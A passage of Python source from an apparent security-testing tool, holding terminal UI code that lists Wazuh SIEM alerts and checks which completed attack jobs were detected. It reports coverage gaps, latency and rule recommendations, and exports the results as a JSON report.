def _view_wazuh_alerts(engagement_id: int):
    """View recent Wazuh alerts with table view and interactive mode."""
    from souleyez.integrations.wazuh.config import WazuhConfig
    from souleyez.integrations.wazuh.client import WazuhClient
    from souleyez.ui.interactive_selector import InteractiveSelector
    from datetime import datetime, timedelta
    from rich.table import Table
    from rich import box

    config = WazuhConfig.get_config(engagement_id)
    if not config:
        click.echo(click.style("\n  ⚠ Wazuh not configured", fg='yellow'))
        click.pause()
        return

    # Settings
    time_range = 24  # hours
    min_level = 0
    agent_filter = None
    page_size = 20
    current_page = 0

    try:
        client = WazuhClient(
            api_url=config['api_url'],
            username=config['api_user'],
            password=config['api_password'],
            verify_ssl=config.get('verify_ssl', False),
            indexer_url=config.get('indexer_url'),
            indexer_user=config.get('indexer_user'),
            indexer_password=config.get('indexer_password')
        )
    except Exception as e:
        click.echo(click.style(f"\n  ✗ Error connecting: {str(e)}", fg='red'))
        click.pause()
        return

    def fetch_alerts():
        end_time = datetime.now()
        start_time = end_time - timedelta(hours=time_range)
        try:
            alerts = client.get_alerts(
                start_time=start_time,
                end_time=end_time,
                limit=500
            )
            # Apply filters
            if min_level > 0:
                alerts = [a for a in alerts if a.get('rule', {}).get('level', 0) >= min_level]
            if agent_filter:
                alerts = [a for a in alerts if agent_filter.lower() in a.get('agent', {}).get('name', '').lower()]
            return alerts, None
        except Exception as e:
            return [], str(e)

    def get_level_icon(level):
        if level >= 12:
            return '🔴'
        elif level >= 7:
            return '🟡'
        elif level >= 4:
            return '🔵'
        else:
            return '⚪'

    def format_alert_cell(alert, key):
        """Format cell values for display."""
        if key == 'level_display':
            level = alert.get('rule', {}).get('level', 0)
            icon = get_level_icon(level)
            return f"{icon} L{level:02d}"
        elif key == 'rule_id':
            return str(alert.get('rule', {}).get('id', 'N/A'))
        elif key == 'agent_name':
            return alert.get('agent', {}).get('name', 'N/A')
        elif key == 'description':
            return alert.get('rule', {}).get('description', 'No description')
        elif key == 'timestamp':
            ts = alert.get('timestamp', 'N/A')
            if isinstance(ts, str) and 'T' in ts:
                ts = ts.replace('T', ' ')[:19]
            return ts
        return str(alert.get(key, ''))

    while True:
        alerts, error = fetch_alerts()

        # Add index to each alert
        for i, alert in enumerate(alerts):
            alert['_idx'] = i + 1

        DesignSystem.clear_screen()
        click.echo()
        render_standard_header("WAZUH ALERTS")
        click.echo()

        if error:
            click.echo(click.style(f"  ✗ Error: {error}", fg='red'))
            click.echo()
            click.pause()
            return

        # Show filter status
        level_str = f"Level ≥{min_level}" if min_level > 0 else "All levels"
        agent_str = f"Agent: {agent_filter}" if agent_filter else "All agents"
        click.echo(f"  🕐 {time_range}h  |  📊 {level_str}  |  🖥️  {agent_str}")
        click.echo()

        if not alerts:
            click.echo("  No alerts found matching criteria.")
        else:
            click.echo(f"  Total Alerts: {len(alerts)}")
            click.echo()

            # Create table
            console = Console()
            table = Table(
                show_header=True,
                header_style="bold cyan",
                box=DesignSystem.TABLE_BOX,
                padding=(0, 1),
                expand=True
            )

            table.add_column("#", width=6, justify="right")
            table.add_column("Level", width=10)
            table.add_column("Rule", width=8)
            table.add_column("Agent", width=15)
            table.add_column("Description", width=45)
            table.add_column("Time", width=20)

            # Paginate
            start_idx = current_page * page_size
            end_idx = min(start_idx + page_size, len(alerts))
            page_alerts = alerts[start_idx:end_idx]

            for alert in page_alerts:
                level = alert.get('rule', {}).get('level', 0)
                icon = get_level_icon(level)
                rule_id = str(alert.get('rule', {}).get('id', 'N/A'))
                agent_name = alert.get('agent', {}).get('name', 'N/A')
                desc = alert.get('rule', {}).get('description', 'No description')[:45]
                ts = alert.get('timestamp', 'N/A')
                if isinstance(ts, str) and 'T' in ts:
                    ts = ts.replace('T', ' ')[:19]

                table.add_row(
                    str(alert['_idx']),
                    f"{icon} L{level:02d}",
                    rule_id,
                    agent_name,
                    desc,
                    ts
                )

            console.print(table)

            # Pagination info
            total_pages = (len(alerts) + page_size - 1) // page_size
            if total_pages > 1:
                click.echo(f"\n  Page {current_page + 1}/{total_pages}")

            # Tip
            if alerts:
                click.echo()
                click.echo("  💡 TIP: Press 'i' for interactive mode")

        click.echo()
        click.echo(DesignSystem.separator())
        click.echo()
        click.echo("  [#] View alert details")
        click.echo("  [i] Interactive mode")
        click.echo("  [t] Time range")
        click.echo("  [l] Level filter")
        click.echo("  [g] Agent filter")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", type=str, default="q", show_default=False).strip().lower()

            if choice == 'q':
                return
            elif choice == 'i' and alerts:
                _wazuh_alerts_interactive(alerts, format_alert_cell)
            elif choice == 't':
                click.echo("\n  Time range: [1] 1h  [6] 6h  [12] 12h  [24] 24h  [48] 48h  [168] 7d")
                try:
                    new_range = click.prompt("  Hours", type=int, default=time_range)
                    if new_range > 0:
                        time_range = new_range
                        current_page = 0
                except:
                    pass
            elif choice == 'l':
                click.echo("\n  Level filter: [0] All  [3] Low+  [7] Medium+  [12] High+  [15] Critical")
                try:
                    new_level = click.prompt("  Min level", type=int, default=min_level)
                    if 0 <= new_level <= 15:
                        min_level = new_level
                        current_page = 0
                except:
                    pass
            elif choice == 'g':
                new_agent = click.prompt("  Agent filter (empty to clear)", default=agent_filter or "", show_default=False).strip()
                agent_filter = new_agent if new_agent else None
                current_page = 0
            elif choice.isdigit() and alerts:
                alert_idx = int(choice)
                if 1 <= alert_idx <= len(alerts):
                    _view_alert_detail(alerts[alert_idx - 1])
                else:
                    click.echo(click.style(f"\n  Invalid alert number. Enter 1-{len(alerts)}", fg='red'))
                    click.pause()
        except (KeyboardInterrupt, EOFError):
            return


def _wazuh_alerts_interactive(alerts: list, format_alert_cell):
    """Interactive mode for browsing Wazuh alerts."""
    from souleyez.ui.interactive_selector import InteractiveSelector

    selected_alerts = set()

    columns = [
        {'name': '#', 'width': 6, 'key': '_idx'},
        {'name': 'Level', 'width': 10, 'key': 'level_display'},
        {'name': 'Rule', 'width': 8, 'key': 'rule_id'},
        {'name': 'Agent', 'width': 20, 'key': 'agent_name'},
        {'name': 'Description', 'width': 45, 'key': 'description'},
        {'name': 'Time', 'width': 20, 'key': 'timestamp'},
    ]

    selector = InteractiveSelector(
        items=alerts,
        columns=columns,
        selected_ids=selected_alerts,
        get_id=lambda a: a.get('_idx'),
        title="WAZUH ALERTS - Interactive",
        page_size=20,
        format_cell=format_alert_cell
    )

    selector.run()

    # Show menu after exiting selector
    if selected_alerts:
        click.echo()
        click.echo(f"  {click.style(f'Selected: {len(selected_alerts)} alert(s)', bold=True)}")
        click.echo("    [v] View selected alert details")
        click.echo("    [q] Back")

        try:
            choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()
            if choice == 'v':
                first_idx = min(selected_alerts)
                _view_alert_detail(alerts[first_idx - 1])
        except (KeyboardInterrupt, EOFError):
            pass


def _view_alert_detail(alert: dict):
    """View detailed information about a single Wazuh alert."""
    DesignSystem.clear_screen()
    click.echo()
    render_standard_header("ALERT DETAILS")
    click.echo()

    rule = alert.get('rule', {})
    agent = alert.get('agent', {})
    data = alert.get('data', {})
    level = rule.get('level', 0)

    # Level color
    if level >= 12:
        level_color = 'red'
    elif level >= 7:
        level_color = 'yellow'
    elif level >= 4:
        level_color = 'cyan'
    else:
        level_color = 'white'

    # Basic info
    click.echo(f"  {click.style('Rule Information', bold=True)}")
    click.echo("  " + "─" * 50)
    click.echo(f"    Rule ID:       {rule.get('id', 'N/A')}")
    click.echo(f"    Level:         {click.style(str(level), fg=level_color, bold=True)}")
    click.echo(f"    Description:   {rule.get('description', 'N/A')}")

    # MITRE info if available
    mitre = rule.get('mitre', {})
    if mitre:
        tactics = mitre.get('tactic', [])
        techniques = mitre.get('id', [])
        if tactics:
            click.echo(f"    MITRE Tactic:  {', '.join(tactics) if isinstance(tactics, list) else tactics}")
        if techniques:
            click.echo(f"    MITRE Tech:    {', '.join(techniques) if isinstance(techniques, list) else techniques}")

    groups = rule.get('groups', [])
    if groups:
        click.echo(f"    Groups:        {', '.join(groups[:5])}")

    click.echo()
    click.echo(f"  {click.style('Agent Information', bold=True)}")
    click.echo("  " + "─" * 50)
    click.echo(f"    Agent Name:    {agent.get('name', 'N/A')}")
    click.echo(f"    Agent ID:      {agent.get('id', 'N/A')}")
    click.echo(f"    Agent IP:      {agent.get('ip', 'N/A')}")

    click.echo()
    click.echo(f"  {click.style('Event Details', bold=True)}")
    click.echo("  " + "─" * 50)
    click.echo(f"    Timestamp:     {alert.get('timestamp', 'N/A')}")

    # Show data fields
    if data:
        for key, value in list(data.items())[:15]:
            if value and str(value).strip():
                display_val = str(value)[:60]
                if len(str(value)) > 60:
                    display_val += "..."
                click.echo(f"    {key[:14]:<14} {display_val}")

    # Full log if available
    full_log = alert.get('full_log', '')
    if full_log:
        click.echo()
        click.echo(f"  {click.style('Full Log', bold=True)}")
        click.echo("  " + "─" * 50)
        # Show all lines, wrap at terminal width
        import shutil
        term_width = shutil.get_terminal_size().columns - 8  # Account for indent
        for line in full_log.split('\n'):
            if len(line) > term_width:
                # Wrap long lines
                for i in range(0, len(line), term_width):
                    click.echo(f"    {line[i:i+term_width]}")
            else:
                click.echo(f"    {line}")

    click.echo()
    click.pause()


def _validate_detections(engagement_id: int):
    """Validate detection coverage for completed jobs with table view and interactive mode."""
    from souleyez.detection.validator import DetectionValidator, _get_job_by_id, _reconstruct_command
    from souleyez.detection.attack_signatures import get_signature, ATTACK_SIGNATURES
    from datetime import datetime
    from rich.table import Table
    from rich import box

    DesignSystem.clear_screen()
    click.echo()
    render_standard_header("DETECTION VALIDATION")
    click.echo()

    click.echo("  Analyzing completed jobs against Wazuh alerts...")
    click.echo()

    try:
        validator = DetectionValidator(engagement_id)
        summary = validator.validate_engagement()

        if summary.total_attacks == 0:
            click.echo("  No completed jobs found for this engagement.")
            click.echo("  Run some attacks first, then validate detections.")
            click.pause()
            return

        # Build detailed result items
        result_items = []
        for r in summary.results:
            job = _get_job_by_id(r.job_id)
            tool = job.get('tool', 'unknown') if job else 'unknown'
            target = job.get('target', 'N/A') if job else 'N/A'
            command = _reconstruct_command(job) if job else 'N/A'
            started = job.get('started_at', '') if job else ''
            finished = job.get('finished_at', '') if job else ''

            # Get signature for recommendations
            sig = get_signature(tool)

            # Calculate detection latency if detected
            latency_str = '-'
            if r.status == 'detected' and r.alerts and finished:
                try:
                    # Parse finished time
                    if isinstance(finished, str):
                        attack_end = datetime.fromisoformat(finished.replace('Z', '+00:00').replace(' ', 'T'))
                    else:
                        attack_end = finished
                    # Get first alert time
                    first_alert = r.alerts[0]
                    alert_ts = first_alert.get('timestamp', '')
                    if isinstance(alert_ts, str) and alert_ts:
                        alert_time = datetime.fromisoformat(alert_ts.replace('Z', '+00:00').replace(' ', 'T'))
                        latency = (alert_time - attack_end).total_seconds()
                        if latency < 0:
                            latency_str = 'pre-attack'
                        elif latency < 60:
                            latency_str = f'{int(latency)}s'
                        elif latency < 3600:
                            latency_str = f'{int(latency/60)}m'
                        else:
                            latency_str = f'{int(latency/3600)}h'
                except Exception:
                    pass

            # Status display
            if r.status == 'detected':
                status_display = '✓ Detected'
                status_style = 'green'
            elif r.status == 'not_detected':
                status_display = '✗ Gap'
                status_style = 'red'
            elif r.status == 'offline':
                status_display = '○ Offline'
                status_style = 'dim'
            else:
                status_display = '? Unknown'
                status_style = 'yellow'

            result_items.append({
                '_idx': r.job_id,
                'job_id': r.job_id,
                'status': r.status,
                'status_display': status_display,
                'status_style': status_style,
                'tool': tool,
                'target': target,
                'command': command,
                'started': started[:19] if started else '-',
                'alerts_count': r.alerts_count,
                'rule_ids': r.rule_ids,
                'rules_display': ', '.join(r.rule_ids[:3]) if r.rule_ids else '-',
                'latency': latency_str,
                'alerts': r.alerts,
                'reason': r.reason,
                'signature': sig,
                'expected_rules': sig.get('wazuh_rules', []),
                'category': sig.get('category', 'unknown'),
                'severity': sig.get('severity', 'medium'),
            })

        # Pagination settings
        page_size = 15
        current_page = 0

        def format_result_cell(item, key):
            if key == 'status_display':
                style = item.get('status_style', '')
                val = item.get('status_display', '')
                if style == 'green':
                    return f'[green]{val}[/green]'
                elif style == 'red':
                    return f'[red]{val}[/red]'
                elif style == 'dim':
                    return f'[dim]{val}[/dim]'
                return f'[yellow]{val}[/yellow]'
            elif key == 'alerts_count':
                count = item.get('alerts_count', 0)
                if count > 0:
                    return f'[green]{count}[/green]'
                return '[dim]0[/dim]'
            elif key == 'latency':
                lat = item.get('latency', '-')
                if lat == '-' or lat == 'pre-attack':
                    return f'[dim]{lat}[/dim]'
                return f'[cyan]{lat}[/cyan]'
            return str(item.get(key, '-'))

        while True:
            DesignSystem.clear_screen()
            click.echo()
            render_standard_header("DETECTION VALIDATION")
            click.echo()

            # Show coverage summary
            bar_width = 30
            filled = int(bar_width * summary.coverage_percent / 100)
            bar = "█" * filled + "░" * (bar_width - filled)
            coverage_color = 'green' if summary.coverage_percent >= 70 else 'yellow' if summary.coverage_percent >= 40 else 'red'

            click.echo(f"  {bar} {click.style(f'{summary.coverage_percent}%', fg=coverage_color, bold=True)}")
            click.echo(f"  ✓ Detected: {summary.detected}  |  ✗ Gaps: {summary.not_detected}  |  ○ Offline: {summary.offline}")

            # Show gaps on second line if any
            gaps = [r for r in result_items if r['status'] == 'not_detected']
            if gaps:
                gap_items = [f"Job #{g['job_id']} ({g['tool']})" for g in gaps[:3]]
                gap_line = "  ✗ " + ", ".join(gap_items)
                if len(gaps) > 3:
                    gap_line += f" +{len(gaps)-3} more"
                click.echo(click.style(gap_line, fg='red'))

            click.echo()
            click.echo(f"  Total Jobs: {len(result_items)}")
            click.echo()

            # Create table
            console = Console()
            table = Table(
                show_header=True,
                header_style="bold cyan",
                box=DesignSystem.TABLE_BOX,
                padding=(0, 1),
                expand=True
            )

            table.add_column("Job", width=6, justify="right")
            table.add_column("Status", width=12)
            table.add_column("Tool", width=15)
            table.add_column("Target", width=18)
            table.add_column("Alerts", width=7, justify="right")
            table.add_column("Latency", width=8)
            table.add_column("Rules", width=20)

            # Paginate
            start_idx = current_page * page_size
            end_idx = min(start_idx + page_size, len(result_items))
            page_items = result_items[start_idx:end_idx]

            for item in page_items:
                # Status with color
                status = item['status_display']
                style = item['status_style']
                if style == 'green':
                    status_str = f"[green]{status}[/green]"
                elif style == 'red':
                    status_str = f"[red]{status}[/red]"
                elif style == 'dim':
                    status_str = f"[dim]{status}[/dim]"
                else:
                    status_str = f"[yellow]{status}[/yellow]"

                # Alerts count
                alerts_count = item['alerts_count']
                if alerts_count > 0:
                    alerts_str = f"[green]{alerts_count}[/green]"
                else:
                    alerts_str = "[dim]0[/dim]"

                # Latency
                lat = item['latency']
                if lat == '-' or lat == 'pre-attack':
                    latency_str = f"[dim]{lat}[/dim]"
                else:
                    latency_str = f"[cyan]{lat}[/cyan]"

                table.add_row(
                    str(item['job_id']),
                    status_str,
                    item['tool'],
                    item['target'][:18] if item['target'] else '-',
                    alerts_str,
                    latency_str,
                    item['rules_display'][:20] if item['rules_display'] else '-'
                )

            console.print(table)

            # Pagination info
            total_pages = (len(result_items) + page_size - 1) // page_size
            if total_pages > 1:
                click.echo(f"\n  Page {current_page + 1}/{total_pages}")

            # Tip
            if result_items:
                click.echo()
                click.echo("  💡 TIP: Press 'i' for interactive mode")

            click.echo()
            click.echo(DesignSystem.separator())
            click.echo()
            click.echo("  [#] View job details")
            click.echo("  [i] Interactive mode")
            click.echo("  [r] Recommendations")
            click.echo("  [e] Export report")
            click.echo("  [q] Back")
            click.echo()

            try:
                choice = click.prompt("Select option", type=str, default="q", show_default=False).strip().lower()

                if choice == 'q':
                    return
                elif choice == 'i' and result_items:
                    _detection_validation_interactive(result_items, summary, format_result_cell)
                elif choice == 'r':
                    _show_detection_recommendations(result_items, summary)
                elif choice == 'e':
                    _export_detection_report(result_items, summary, engagement_id)
                elif choice.isdigit() and result_items:
                    job_id = int(choice)
                    item = next((r for r in result_items if r['job_id'] == job_id), None)
                    if item:
                        _view_detection_detail(item)
                    else:
                        click.echo(click.style(f"\n  Job #{job_id} not found in results", fg='red'))
                        click.pause()
            except (KeyboardInterrupt, EOFError):
                return

    except Exception as e:
        click.echo(click.style(f"  ✗ Error: {str(e)}", fg='red'))
        import traceback
        traceback.print_exc()
        click.pause()


def _detection_validation_interactive(result_items: list, summary, format_result_cell):
    """Interactive mode for browsing detection validation results."""
    from souleyez.ui.interactive_selector import InteractiveSelector

    selected = set()

    columns = [
        {'name': 'Job', 'width': 5, 'key': 'job_id'},
        {'name': 'Status', 'width': 12, 'key': 'status_display'},
        {'name': 'Tool', 'width': 15, 'key': 'tool'},
        {'name': 'Target', 'width': 18, 'key': 'target'},
        {'name': 'Alerts', 'width': 7, 'key': 'alerts_count'},
        {'name': 'Latency', 'width': 8, 'key': 'latency'},
        {'name': 'Rules', 'width': 20, 'key': 'rules_display'},
    ]

    def show_coverage_header():
        """Show coverage summary above the table."""
        bar_width = 30
        filled = int(bar_width * summary.coverage_percent / 100)
        bar = "█" * filled + "░" * (bar_width - filled)
        pct_str = f"{summary.coverage_percent}%"

        stats = f"{bar} {pct_str}  ✓ Detected: {summary.detected}  |  ✗ Gaps: {summary.not_detected}"
        if summary.offline > 0:
            stats += f"  |  ○ Offline: {summary.offline}"

        gaps = [r for r in result_items if r['status'] == 'not_detected']
        if gaps:
            gap_items = [f"Job #{g['job_id']} ({g['tool']})" for g in gaps[:3]]
            gap_line = "\n  ✗ " + ", ".join(gap_items)
            if len(gaps) > 3:
                gap_line += f" +{len(gaps)-3} more"
            return stats + gap_line

        return stats

    selector = InteractiveSelector(
        items=result_items,
        columns=columns,
        selected_ids=selected,
        get_id=lambda r: r.get('_idx'),
        title='DETECTION VALIDATION - Interactive',
        page_size=15,
        format_cell=format_result_cell,
        show_header_info=show_coverage_header
    )
    selector.run()

    # View selected job detail
    if selected:
        job_id = min(selected)
        item = next((r for r in result_items if r['job_id'] == job_id), None)
        if item:
            click.echo()
            click.echo("    [v] View selected job details")
            click.echo("    [q] Back")
            try:
                choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()
                if choice == 'v':
                    _view_detection_detail(item)
            except (KeyboardInterrupt, EOFError):
                pass


def _view_detection_detail(item: dict):
    """View detailed information about a detection result."""
    DesignSystem.clear_screen()
    click.echo()
    render_standard_header(f"JOB #{item['job_id']} DETECTION DETAIL")
    click.echo()

    # Job Information
    click.echo(f"  {click.style('JOB INFORMATION', bold=True)}")
    click.echo("  " + "─" * 60)
    click.echo(f"    Tool:          {item['tool']}")
    click.echo(f"    Target:        {item['target']}")
    click.echo(f"    Command:       {item['command'][:60]}{'...' if len(item['command']) > 60 else ''}")
    click.echo(f"    Started:       {item['started']}")
    click.echo(f"    Category:      {item['category']}")
    click.echo(f"    Severity:      {item['severity']}")
    click.echo()

    # Detection Status
    status = item['status']
    if status == 'detected':
        status_color = 'green'
        status_text = '✓ DETECTED'
    elif status == 'not_detected':
        status_color = 'red'
        status_text = '✗ NOT DETECTED (Gap)'
    elif status == 'offline':
        status_color = 'white'
        status_text = '○ OFFLINE (No network signature)'
    else:
        status_color = 'yellow'
        status_text = '? UNKNOWN'

    click.echo(f"  {click.style('DETECTION STATUS', bold=True)}")
    click.echo("  " + "─" * 60)
    click.echo(f"    Status:        {click.style(status_text, fg=status_color, bold=True)}")
    click.echo(f"    Alerts Found:  {item['alerts_count']}")
    click.echo(f"    Latency:       {item['latency']}")
    if item['rule_ids']:
        click.echo(f"    Matched Rules: {', '.join(item['rule_ids'][:5])}")
    click.echo()

    # Expected Rules
    expected = item.get('expected_rules', [])
    if expected:
        click.echo(f"  {click.style('EXPECTED WAZUH RULES', bold=True)}")
        click.echo("  " + "─" * 60)
        click.echo(f"    {', '.join(str(r) for r in expected[:10])}")
        click.echo()

    # Show alerts if detected
    if item['alerts'] and len(item['alerts']) > 0:
        click.echo(f"  {click.style('MATCHED ALERTS', fg='green', bold=True)} (first 5)")
        click.echo("  " + "─" * 60)
        for i, alert in enumerate(item['alerts'][:5]):
            rule = alert.get('rule', {})
            agent = alert.get('agent', {})
            ts = alert.get('timestamp', 'N/A')
            if isinstance(ts, str) and 'T' in ts:
                ts = ts.replace('T', ' ')[:19]
            click.echo(f"    [{i+1}] Rule {rule.get('id', 'N/A')}: {rule.get('description', 'N/A')[:50]}")
            click.echo(f"        Level: {rule.get('level', 'N/A')} | Agent: {agent.get('name', 'N/A')} | Time: {ts}")
        if len(item['alerts']) > 5:
            click.echo(f"    ... and {len(item['alerts']) - 5} more alerts")
        click.echo()

    # Recommendations for gaps
    if status == 'not_detected':
        click.echo(f"  {click.style('RECOMMENDATIONS', fg='yellow', bold=True)}")
        click.echo("  " + "─" * 60)
        sig = item.get('signature', {})
        patterns = sig.get('search_patterns', [])
        if expected:
            click.echo(f"    1. Ensure Wazuh rules {', '.join(str(r) for r in expected[:3])} are enabled")
        if patterns:
            click.echo(f"    2. Check log sources for patterns: {', '.join(patterns[:3])}")
        click.echo(f"    3. Verify the target ({item['target']}) has Wazuh agent installed")
        click.echo(f"    4. Check Wazuh indexer time sync with attack timeline")
        click.echo()

    # Menu options
    if item['alerts'] and len(item['alerts']) > 5:
        click.echo("    [a] View all alerts")
    click.echo("    [q] Back")
    click.echo()

    try:
        choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()
        if choice == 'a' and item['alerts'] and len(item['alerts']) > 5:
            _view_all_job_alerts(item)
    except (KeyboardInterrupt, EOFError):
        pass


def _view_all_job_alerts(item: dict):
    """View all alerts for a job with interactive navigation."""
    from souleyez.ui.interactive_selector import InteractiveSelector

    alerts = item.get('alerts', [])
    if not alerts:
        return

    # Add index to each alert
    for i, alert in enumerate(alerts):
        alert['_idx'] = i + 1

    def get_level_icon(level):
        if level >= 12:
            return '🔴'
        elif level >= 7:
            return '🟡'
        elif level >= 4:
            return '🔵'
        else:
            return '⚪'

    def format_alert_cell(alert, key):
        if key == 'level_display':
            level = alert.get('rule', {}).get('level', 0)
            icon = get_level_icon(level)
            return f"{icon} L{level:02d}"
        elif key == 'rule_id':
            return str(alert.get('rule', {}).get('id', 'N/A'))
        elif key == 'agent_name':
            return alert.get('agent', {}).get('name', 'N/A')
        elif key == 'description':
            return alert.get('rule', {}).get('description', 'No description')[:45]
        elif key == 'timestamp':
            ts = alert.get('timestamp', 'N/A')
            if isinstance(ts, str) and 'T' in ts:
                ts = ts.replace('T', ' ')[:19]
            return ts
        return str(alert.get(key, ''))

    columns = [
        {'name': '#', 'width': 5, 'key': '_idx'},
        {'name': 'Level', 'width': 10, 'key': 'level_display'},
        {'name': 'Rule', 'width': 8, 'key': 'rule_id'},
        {'name': 'Agent', 'width': 15, 'key': 'agent_name'},
        {'name': 'Description', 'width': 45, 'key': 'description'},
        {'name': 'Time', 'width': 20, 'key': 'timestamp'},
    ]

    def show_header():
        return f"Job #{item['job_id']} | Tool: {item['tool']} | Target: {item['target']} | {len(alerts)} alerts"

    selected = set()
    selector = InteractiveSelector(
        items=alerts,
        columns=columns,
        selected_ids=selected,
        get_id=lambda a: a.get('_idx'),
        title=f"JOB #{item['job_id']} ALERTS",
        page_size=20,
        format_cell=format_alert_cell,
        show_header_info=show_header
    )
    selector.run()

    # View selected alert detail
    if selected:
        click.echo()
        click.echo("    [v] View selected alert details")
        click.echo("    [q] Back")
        try:
            choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()
            if choice == 'v':
                first_idx = min(selected)
                _view_alert_detail(alerts[first_idx - 1])
        except (KeyboardInterrupt, EOFError):
            pass


def _show_detection_recommendations(result_items: list, summary):
    """Show recommendations for improving detection coverage."""
    DesignSystem.clear_screen()
    click.echo()
    render_standard_header("DETECTION RECOMMENDATIONS")
    click.echo()

    gaps = [r for r in result_items if r['status'] == 'not_detected']

    if not gaps:
        click.echo(click.style("  ✓ Excellent! All attacks were detected.", fg='green', bold=True))
        click.echo()
        click.pause()
        return

    click.echo(f"  {click.style(f'{len(gaps)} DETECTION GAP(S) FOUND', fg='red', bold=True)}")
    click.echo()

    # Group gaps by category
    by_category = {}
    for gap in gaps:
        cat = gap.get('category', 'unknown')
        if cat not in by_category:
            by_category[cat] = []
        by_category[cat].append(gap)

    # Show recommendations by category
    for category, cat_gaps in by_category.items():
        click.echo(f"  {click.style(category.upper().replace('_', ' '), bold=True, fg='yellow')}")
        click.echo("  " + "─" * 60)

        # Collect all expected rules for this category
        all_expected_rules = set()
        all_patterns = set()
        for gap in cat_gaps:
            for rule in gap.get('expected_rules', []):
                all_expected_rules.add(rule)
            for pattern in gap.get('signature', {}).get('search_patterns', []):
                all_patterns.add(pattern)

        # Show gaps
        for gap in cat_gaps[:3]:
            click.echo(f"    ✗ {gap['tool']} → {gap['target']}")

        if len(cat_gaps) > 3:
            click.echo(f"    ... and {len(cat_gaps) - 3} more")

        # Show recommendations
        click.echo()
        click.echo(f"    {click.style('Recommended Actions:', bold=True)}")
        if all_expected_rules:
            rules_str = ', '.join(str(r) for r in list(all_expected_rules)[:5])
            click.echo(f"      • Enable/check Wazuh rules: {rules_str}")
        if all_patterns:
            patterns_str = ', '.join(list(all_patterns)[:3])
            click.echo(f"      • Configure log parsing for: {patterns_str}")
        click.echo(f"      • Verify agent coverage on target hosts")
        click.echo()

    # General recommendations
    click.echo(f"  {click.style('GENERAL RECOMMENDATIONS', bold=True)}")
    click.echo("  " + "─" * 60)
    click.echo("    1. Review Wazuh ruleset configuration")
    click.echo("    2. Enable additional decoder/rules for missing categories")
    click.echo("    3. Check network-level logging (firewall, IDS)")
    click.echo("    4. Verify time synchronization between systems")
    click.echo("    5. Consider adding custom rules for your environment")
    click.echo()

    click.pause()


def _export_detection_report(result_items: list, summary, engagement_id: int):
    """Export detection validation report."""
    import json
    from datetime import datetime

    DesignSystem.clear_screen()
    click.echo()
    render_standard_header("EXPORT DETECTION REPORT")
    click.echo()

    # Build report data
    report = {
        'generated_at': datetime.now().isoformat(),
        'engagement_id': engagement_id,
        'summary': {
            'total_attacks': summary.total_attacks,
            'detected': summary.detected,
            'not_detected': summary.not_detected,
            'offline': summary.offline,
            'unknown': summary.unknown,
            'coverage_percent': summary.coverage_percent
        },
        'gaps': [],
        'detected': [],
        'recommendations': []
    }

    for item in result_items:
        entry = {
            'job_id': item['job_id'],
            'tool': item['tool'],
            'target': item['target'],
            'command': item['command'],
            'started': item['started'],
            'status': item['status'],
            'alerts_count': item['alerts_count'],
            'rule_ids': item['rule_ids'],
            'expected_rules': item['expected_rules'],
            'category': item['category'],
            'severity': item['severity'],
            'latency': item['latency']
        }
        if item['status'] == 'not_detected':
            report['gaps'].append(entry)
        elif item['status'] == 'detected':
            report['detected'].append(entry)

    # Generate recommendations
    gaps = [r for r in result_items if r['status'] == 'not_detected']
    all_missing_rules = set()
    for gap in gaps:
        for rule in gap.get('expected_rules', []):
            all_missing_rules.add(rule)

    if all_missing_rules:
        report['recommendations'].append({
            'type': 'enable_rules',
            'description': 'Enable the following Wazuh rules',
            'rules': list(all_missing_rules)
        })

    # Save report
    import os
    reports_dir = os.path.expanduser("~/.souleyez/reports")
    os.makedirs(reports_dir, exist_ok=True)
    filename = f"detection_report_{engagement_id}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
    filepath = os.path.join(reports_dir, filename)

    with open(filepath, 'w') as f:
        json.dump(report, f, indent=2)

    click.echo(click.style(f"  ✓ Report exported to:", fg='green'))
    click.echo(f"    {filepath}")
    click.echo()

    # Show summary
    click.echo(f"  {click.style('REPORT SUMMARY', bold=True)}")
    click.echo("  " + "─" * 50)
    click.echo(f"    Coverage:     {summary.coverage_percent}%")
    click.echo(f"    Detected:     {summary.detected}")
    click.echo(f"    Gaps:         {summary.not_detected}")
    if all_missing_rules:
        click.echo(f"    Missing Rules: {len(all_missing_rules)}")
    click.echo()

    click.pause()


def _detection_validation_menu(engagement_id: int):
    """Detection validation menu - accessible from dashboard via 'd' key."""
    from souleyez.auth import is_pro

    # PRO feature check
    if not is_pro():
        _show_upgrade_prompt("Detection Validation")
        return

    from souleyez.integrations.wazuh.config import WazuhConfig

    while True:
        DesignSystem.clear_screen()
        click.echo()
        render_standard_header("DETECTION VALIDATION")
        click.echo()

        # Check Wazuh config
        config = WazuhConfig.get_config(engagement_id)

        if config and config.get('enabled'):
            click.echo(f"  🛡️  Wazuh: " + click.style("✓ Connected", fg='green'))

            # Get detection stats
            from souleyez.storage.database import get_db
            db = get_db()
            conn = db.get_connection()
            cursor = conn.cursor()

            cursor.execute("""
                SELECT detection_status, COUNT(*)
                FROM detection_results
                WHERE engagement_id = ?
                GROUP BY detection_status
            """, (engagement_id,))

            status_counts = {row[0]: row[1] for row in cursor.fetchall()}
            detected = status_counts.get('detected', 0)
            not_detected = status_counts.get('not_detected', 0)
            total = detected + not_detected

            if total > 0:
                coverage_pct = int((detected / total) * 100)
                coverage_color = 'green' if coverage_pct >= 70 else 'yellow' if coverage_pct >= 40 else 'red'
                click.echo(f"  📊 Coverage: " + click.style(f"{coverage_pct}%", fg=coverage_color, bold=True) +
                          f" ({detected}/{total} detected)")
            else:
                click.echo(f"  📊 Coverage: Not validated yet")
        else:
            click.echo(f"  🛡️  Wazuh: " + click.style("⚠️ Not configured", fg='yellow'))

        click.echo()
        click.echo("  ⚙️  OPTIONS")
        click.echo("  ─" * 50)
        click.echo("    [1] Validate Detections     - Check what Wazuh caught")
        click.echo("    [2] View Detection Results  - Past validation results")
        click.echo("    [3] View Attack Signatures  - 16 tool signatures")
        if not (config and config.get('enabled')):
            click.echo("    [4] Configure Wazuh         - Set up SIEM connection")
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()

        try:
            choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()

            if choice == "q":
                return
            elif choice == "1":
                _validate_detections(engagement_id)
